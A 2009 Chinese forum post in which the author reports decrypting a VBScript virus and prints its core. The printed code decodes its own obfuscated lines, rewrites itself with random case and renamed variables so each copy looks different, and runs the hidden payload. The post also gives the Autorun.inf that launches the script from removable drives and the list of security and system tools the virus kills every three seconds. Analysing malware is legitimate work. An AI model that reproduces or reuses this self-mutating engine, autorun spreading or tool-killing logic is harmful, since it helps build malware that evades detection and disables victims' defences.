破解成功了!!!!
病毒行为:- set 文件系统 = 创建对象("scripting.filesystemobject")
- set 病毒文件=文件系统.打开文本文件(该脚本地址,1)
- do until 病毒文件.读到结尾
- 读取的临时文本=删除两端空格(病毒文件.读取一行)
- if 左边(读取的临时文本,1)="'" then
- 解码后的临时文本=解码函数(mid(读取的临时文本,2,取文本长度(读取的临时文本)-2),right(读取的临时文本,1))
- 初始化随机数生成器
- 2~8的随机数=取2~8的随机数
- 重新打乱的临时文本="'"&解码函数(解码后的临时文本,2~8的随机数)&2~8的随机数
- else
- 重新打乱的临时文本=读取的临时文本
- 重新打乱的临时文本=替换变量函数(重新打乱的临时文本)
- 重新打乱的临时文本=随机大小写函数(重新打乱的临时文本)
- end if
- 真正病毒脚本=真正病毒脚本&解码后的临时文本&vbcrlf
- 重新变形病毒脚本=重新变形病毒脚本&重新打乱的临时文本&vbcrlf
- 解码后的临时文本=""
- 重新打乱的临时文本=""
- loop
- set 病毒文件=文件系统.打开文本文件(该脚本地址,只写)
- 病毒文件.写入 重新变形病毒脚本
- 病毒文件.保存关闭
- set 文件系统=nothing
- 运行 真正病毒脚本
- function 解码函数(乱码段,乱码索引)
- for 循环控制变量=1 to 取文本长度(乱码段) step 乱码索引
- 解码函数=解码函数+倒转文字(mid(乱码段,循环控制变量,乱码索引))
- next
- end function
- function 随机大小写函数(更新的乱码段)
- 初始化随机数生成器
- for 循环控制变量=1 to 取文本长度(更新的乱码段)
- 函数临时文本=mid(转换为大写(更新的乱码段),循环控制变量,1)
- if 取随机真假 then
- 函数临时文本=转换为小写(函数临时文本)
- end if
- 随机大小写函数=随机大小写函数&函数临时文本
- next
- end function
- function 替换变量函数(新的乱码段)
- 初始化随机数生成器
- for 循环控制变量=0 to 13
- 新的乱码段=替换(转换为大写(新的乱码段),转换为大写(转换为16进制字符串(<变为十六进制>文件系统+循环控制变量)),转换为大写(转换为16进制字符串(取24000~40960的随机数+循环控制变量)))
- next
- 替换变量函数=新的乱码段
- end function
复制代码 Autorun.inf的:- [AutoRun]
- Shellexecute=WScript.exe 53950193.vbs "AutoRun"
- shell\open=打开(&O)
- shell\open\command=WScript.exe 53950193.vbs "AutoRun"
- shell\open\Default=1
- shell\explore=资源管理器(&X)\
- shell\explore\command=WScript.exe 53950193.vbs "AutoRun"
复制代码 每隔3秒(3000毫秒)结束如下进程:("ras.exe", "360tray.exe", "taskmgr.exe", "cmd.exe","cmd.com", "regedit.exe", "regedit.scr","regedit.pif", "regedit.com","msconfig.exe")
解密文件见附件!
[ 本帖最后由 qq316107934 于 2009-10-4 20:12 编辑 ] |